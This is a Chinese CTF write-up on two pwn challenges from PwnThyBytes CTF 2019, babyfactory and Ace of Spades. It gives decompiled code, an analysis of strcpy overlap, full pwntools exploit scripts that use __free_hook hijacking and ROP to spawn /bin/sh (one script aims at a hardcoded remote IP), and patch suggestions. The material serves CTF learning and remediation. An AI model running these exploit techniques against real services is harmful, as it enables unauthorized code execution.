PwnThyBytes CTF 2019 部分 pwn 题解

Ex / 2019-10-09 09:35:18 / 浏览数 3528 安全技术 CTF 顶(0) 踩(0)

欢迎各位喜欢安全的小伙伴们加入星盟安全 UVEgZ3JvdXA6IDU3MDI5NTQ2MQ== 。

还是很不错的国际赛。

源程序打包：https://github.com/Ex-Origin/ctf-writeups/tree/master/pwnthebytesctf2019/pwn 。

babyfactory

靶机环境是 glibc-2.23 。签到题。

```
void __fastcall Create(char a1)
{
...
 printf("Enter Day: ", v1);
 _isoc99_scanf("%d", &temp_ptr->day);
 if ( SLOWORD(temp_ptr->day) > 31 || !LOWORD(temp_ptr->day) )
   LOWORD(temp_ptr->day) = 1;
 if ( a1 )
   BYTE2(temp_ptr->day) = 1;
...
}
```

直接输入一个很大的数字进行byte2字节编辑，即可在下面的函数heap overflow。

```
void __cdecl Edit()
{
 int v0; // [rsp+Ch] [rbp-14h]
 Container *temp_ptr; // [rsp+10h] [rbp-10h]
 unsigned __int64 v2; // [rsp+18h] [rbp-8h]

 v2 = __readfsqword(0x28u);
 printf("Enter Baby IDX: ");
 _isoc99_scanf("%u", &v0);
 if ( global_ptr[v0] )
 {
   temp_ptr = global_ptr[v0];
   printf("Enter new name: ", &v0);
   if ( BYTE2(temp_ptr->day) )
     read(0, (void *)temp_ptr->malloc_ptr, 0x69uLL);
   else
     read(0, (void *)temp_ptr->malloc_ptr, 0x68uLL);
   puts("Done!");
 }
 else
 {
   puts("No such baby!");
 }
}
```

直接根据堆风水进行地址泄露，劫持hook即可，脚本如下。

```
#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
```

```
def clear(signum=None, stack=None):
   print('Strip  all debugging information')
   os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
   exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
   signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
#     gdb_symbols = '''

#     '''

#     f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
#     f.write(gdb_symbols)
#     f.close()
#     os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
#     print(e)

context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'
execve_file = './baby_factory'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('137.117.216.128', 13373)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
   gdbscript = '''
   b *$rebase(0xF4F)
   '''

   f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
   f.write(str(proc.pidof(sh)[0]))
   f.close()

   f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
   f.write(gdbscript)
   f.close()
except Exception as e:
   pass

BOY = 0
GIRL = 1

def Create(type, content):
   sh.sendlineafter('> ', '1')
   sh.sendlineafter('> ', str(type + 1))
   sh.sendafter('Name: ', content)
   sh.sendlineafter('Day: ', str(0xffffff))

def Edit(index, content):
   sh.sendlineafter('> ', '2')
   sh.sendlineafter('IDX: ', str(index))
   sh.sendafter('name: ', content)

def List():
   sh.sendlineafter('> ', '3')

def Eliminate(index):
   sh.sendlineafter('> ', '4')
   sh.sendlineafter('IDX: ', str(index))
```

```
Create(BOY, '\n')
Create(BOY, '\n')
Create(BOY, '\n')
Edit(0, 'a' * 0x68 + p8(0x91))
Eliminate(0)
Eliminate(1)
Create(GIRL, '\xf8')
List()
sh.recvuntil('GIRL= ')
result = sh.recvuntil('Date', drop=True)
libc_addr = u64(result.ljust(8, '\0')) - 0x3c4bf8
log.success('libc_addr: ' + hex(libc_addr))
Create(BOY, 'b' * 0x60)
Create(GIRL, (p64(0) + p64(0x21)) * 6)
Edit(2, 'd' * 0x68 + p8(0xa1))
# pause()
Eliminate(1)
Create(GIRL, p64(libc_addr + libc.symbols['__free_hook']) + p64(0))
Edit(3, p64(libc_addr + libc.symbols['system']))
Edit(1, p64(libc_addr + libc.search('/bin/sh\0').next()))
Eliminate(3)

sh.interactive()
clear()
```

由于造成该漏洞的主要原因是，下面代码没有进行置0操作。加上置0操作即可。

```
if ( a1 )
   BYTE2(temp_ptr->day) = 1;
```

还有一个漏洞需要修复：

Edit没有对index进行检查，加上检查即可。

```
void __cdecl Edit()
{
 int v0; // [rsp+Ch] [rbp-14h]
 Container *temp_ptr; // [rsp+10h] [rbp-10h]
 unsigned __int64 v2; // [rsp+18h] [rbp-8h]

 v2 = __readfsqword(0x28u);
 printf("Enter Baby IDX: ");
 _isoc99_scanf("%u", &v0);
 if ( global_ptr[v0] )
 {
   temp_ptr = global_ptr[v0];
   printf("Enter new name: ", &v0);
   if ( BYTE2(temp_ptr->day) )
     read(0, (void *)temp_ptr->malloc_ptr, 0x69uLL);
   else
     read(0, (void *)temp_ptr->malloc_ptr, 0x68uLL);
   puts("Done!");
 }
 else
 {
   puts("No such baby!");
 }
}
```

Ace of Spades

靶机环境是 glibc-2.23 。

一个模拟扑克牌的游戏。

漏洞点

主要在于程序员对库函数strcpy的错误使用。

```
void __cdecl Discard()
{
 if ( amount_in_your_hand )
 {
   abandoned[abandoned_amount++] = card_in_your_hand[0];
   strcpy(card_in_your_hand, &card_in_your_hand[1]);
   --amount_in_your_hand;
 }
}
```

可能设计的时候仅仅是为了让字符串向前移动一个字节，这里完全可以自己实现，但是这里却使用的是strcpy，对于strcpy函数来说，如果两个参数地址有重叠的部分，

strcpy 分析

通过查看汇编可知，strcpy并不是单纯的逐个字节转移，这样太浪费CPU资源，而是利用SEX2指令进行整块转移，开始先进行地址对齐，为了避免需要取两次内存的情况而

如果原地址和目标地址没有重叠的话并不会产生问题，但是这里恰好相反。

利用下面的程序来检验是否存在问题：

```
// gcc -m32 main.c
#include <stdio.h>
#include <string.h>

int main()
{
   unsigned char buf[0x100];
   int i, j;
   for(i = 2; i < 52; i++)
   {
       memset(buf, 0, 0x100);
       memset(buf + 0x40, 'a', 0x40);
       for(j = 0; j < i ;j ++)
       {
           buf[j] = 10 + j;
       }
       strcpy(buf, buf + 1);
       for(j = 0; j < i ; j++)
       {
           printf("%03d ",buf[j]);
       }
       puts("");
   }
   return 0;
}
```

通过分析上面的结果，最终得到下面的payload：

```
// gcc -m32 main.c
#include <stdio.h>
#include <string.h>

int main()
{
   unsigned char buf[0x100] = "0123456789ABCD";
   strcpy(buf, buf + 1);
   puts(buf);
   return 0;
}
```

预期结果是123456789ABCD，得到的结果是123456889ABCD。

原理分析：

主要问题汇编如下：

```
__strcpy_sse2 proc near

...
 cmp     byte ptr [ecx+13], 0
 jz      loc_865F0
```

```
 ...
  cmp     byte ptr [ecx+14], 0
 jz      loc_86610

 ...
loc_865F0:
 movlpd  xmm0, qword ptr [ecx]
 movlpd  qword ptr [edx], xmm0
 movlpd  xmm0, qword ptr [ecx+6]
 movlpd  qword ptr [edx+6], xmm0
 mov     eax, edx
 retn
```

当字符串长度为14时，则意味着[ecx+13]就是0，ecx为`buf + 1`，由于目标地址和原地址重叠，所以在执行`movlpd xmm0, qword ptr [ecx+6]`时，复制了一个重叠的字节。

思路

我们的主要目标是得到尽可能大的分数，这样index就能超出数组长度，造成数组溢出。

```
void __cdecl Play()
{
   ...
 score = calculate();
 printf("Total points: %u\n", score);
 index = score / 1000;
 printf("Your prize: %s\n", buf[score / 1000]);
 if ( index )
 {
   puts(
     "You can choose to keep this prize or change it for something else, but you won't get it this turn. What will it be?");
   puts("1. Keep.");
   puts("2. Change.");
   printf("Choose: ");
   v0 = get_int();
   v2 = v0;
   if ( v0 == 1 )
   {
     puts("OK, enjoy!");
   }
   else if ( v0 == 2 )
   {
     read(0, buf[index], 0x20u);
   }
   ...
}
```

通过查看栈布局可得，当index为16时，也就是保存ebp的位置，这样我们就能泄露栈地址，又因为其地址旁还黏连了一个程序地址，这样我们又能泄露程序基地址。

```
-00000040 buf             dd 11 dup(?)            ; offset
-00000014 var_14          dd ?
-00000010 index           dd ?
-0000000C score           dd ?
-00000008 var_8           dd ?
-00000004 var_4           dd ?
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
```

我们的目标是一个 1（A），一个 14（K），三个 100（Ace of Spades），这样就能得到 16800 的分数，刚好可以完成上面的步骤。

- 利用 strcpy 漏洞，增加 Ace of Spades 牌的数量。

原本 Ace of Spades 牌仅有一张，但是我们可以利用漏洞让其数量增多。这样我们就能获得足以数组溢出的分数。

```
amount = {100:1, 1:3, 14:4}

while(True):
   for i in range(14):
       Draw()
   cards = Show()
```

```
   if(cards[8] == 1  and cards[7] not in amount.keys()):
       Discard()
       amount[cards[8]] += 1
       break
   Fold()

for i in range(3):
   while(True):
       for i in range(14):
           Draw()
       cards = Show()
       if(cards[8] == 100  and cards[7] not in amount.keys()):
           Discard()
           amount[cards[8]] += 1
           break
       Fold()
```

- 不停的增加目标牌的数量，以增加漏洞利用的概率。

```
for i in range(40):
   while(True):
       for i in range(14):
           Draw()
       cards = Show()
       if(cards[8] in amount.keys() and cards[7] not in amount.keys()):
           Discard()
           amount[cards[8]] += 1
           break

       Fold()
   print(amount)
```

- 抽出目标牌从而引发漏洞。

```
while(True):
   for i in range(5):
       Draw()
   cards = Show()
   if(cards.count(1) == 1 and cards.count(14) == 1):
       break
   Fold()
```

- 泄露地址并进行ROP拿shell

```
sh.sendlineafter('Your choice: ', '3') # Play
sh.recvuntil('Your prize: ')
result = sh.recvuntil('\n')
stack_addr = u32(result[:4])
log.success('stack_addr: ' + hex(stack_addr))
image_base_addr = u32(result[4: 4+4]) - 0x1355
log.success('image_base_addr: ' + hex(image_base_addr))

sh.sendlineafter('Choose: ', '2')
layout = [
   0,
   image_base_addr + elf.plt['puts'],
   image_base_addr + 0x00000b24, # : pop ebp ; ret
   image_base_addr + elf.got['puts'],

   image_base_addr + 0x1094, # push 0 ; call read
   stack_addr - 4,
   0x100
]
sh.send(flat(layout))

sh.sendlineafter('Your choice: ', '6')

result = sh.recvuntil('\n', drop=True)
libc_addr = u32(result[:4]) - libc.symbols['puts']
log.success('libc_addr: ' + hex(libc_addr))
```

```
layout = [
   libc_addr + libc.symbols['system'],
   libc_addr + libc.symbols['exit'],
   libc_addr + libc.search('/bin/sh\0').next(),
   0
]
sh.send(flat(layout))

sh.interactive()
```

完整脚本

```
#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
   print('Strip  all debugging information')
   os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
   exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
   signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
#     gdb_symbols = '''

#     '''

#     f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
#     f.write(gdb_symbols)
#     f.close()
#     os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
#     print(e)

# context.arch = 'amd64'
context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './ace_of_spades'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')

# Create temporary files for GDB debugging
try:
   gdbscript = '''
   b *$rebase(0x1268)
   '''

   f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
   f.write(str(proc.pidof(sh)[0]))
   f.close()

   f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
```

```
    f.write(gdbscript)
    f.close()
except Exception as e:
    pass

def Draw(): sh.sendlineafter('Your choice: ', '1')
def Discard(): sh.sendlineafter('Your choice: ', '2')
def Fold(): sh.sendlineafter('Your choice: ', '5')
# def Play(): sh.sendlineafter('Your choice: ', '3')
def Show():
    sh.sendlineafter('Your choice: ', '4')
    sh.recvuntil('Your hand is:\n')
    result = sh.recvuntil('\x20\n', drop=True)
    # print(result)
    cards = result.split('\x20')
    visual_cards = []
    for v in cards:
        if(v == '\xf0\x9f\x82\xa1'):
            visual_cards += [100]
        else:
            visual_cards +=  [ord(v[3]) % 0x10]

    return visual_cards

amount = {100:1, 1:3, 14:4}

while(True):
    for i in range(14):
        Draw()
    cards = Show()
    if(cards[8] == 1  and cards[7] not in amount.keys()):
        Discard()
        amount[cards[8]] += 1
        break
    Fold()

for i in range(3):
    while(True):
        for i in range(14):
            Draw()
        cards = Show()
        if(cards[8] == 100  and cards[7] not in amount.keys()):
            Discard()
            amount[cards[8]] += 1
            break
        Fold()

for i in range(40):
    while(True):
        for i in range(14):
            Draw()
        cards = Show()
        if(cards[8] in amount.keys() and cards[7] not in amount.keys()):
            Discard()
            amount[cards[8]] += 1
            break

        Fold()
    print(amount)

while(True):
    for i in range(5):
        Draw()
    cards = Show()
    if(cards.count(1) == 1 and cards.count(14) == 1):
        break
    Fold()

sh.sendlineafter('Your choice: ', '3') # Play
```

```
sh.recvuntil('Your prize: ')
result = sh.recvuntil('\n')
stack_addr = u32(result[:4])
log.success('stack_addr: ' + hex(stack_addr))
image_base_addr = u32(result[4: 4+4]) - 0x1355
log.success('image_base_addr: ' + hex(image_base_addr))

sh.sendlineafter('Choose: ', '2')
layout = [
   0,
   image_base_addr + elf.plt['puts'],
   image_base_addr + 0x00000b24, # : pop ebp ; ret
   image_base_addr + elf.got['puts'],

   image_base_addr + 0x1094, # push 0 ; call read
   stack_addr - 4,
   0x100
]
sh.send(flat(layout))

sh.sendlineafter('Your choice: ', '6')

result = sh.recvuntil('\n', drop=True)
libc_addr = u32(result[:4]) - libc.symbols['puts']
log.success('libc_addr: ' + hex(libc_addr))

layout = [
   libc_addr + libc.symbols['system'],
   libc_addr + libc.symbols['exit'],
   libc_addr + libc.search('/bin/sh\0').next(),
   0
]
sh.send(flat(layout))

sh.interactive()
clear()
```

patch方法

根本原因出在strcpy上，直接自己写一段函数进行替换即可。

```
mov edi, [esp+4]
mov esi, [esp+8]

xor ecx, ecx

again:
cmp ecx, 52
jae end

mov al, [esi]
test al, al
jz over
mov [edi], al
inc edi
inc esi
inc ecx
jmp again

over:
mov [edi], al
end:
ret
```

上面这段代码可以直接看成strncpy(dst, src, 52)，这里还限制了长度，防止非预期的方式造成溢出。

上一篇：ThinkPHP6.X反序列化利用链 下一篇：how2heap 问题汇总(下)
1. 0 条回复

- 动动手指，沙发就是你的了！

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板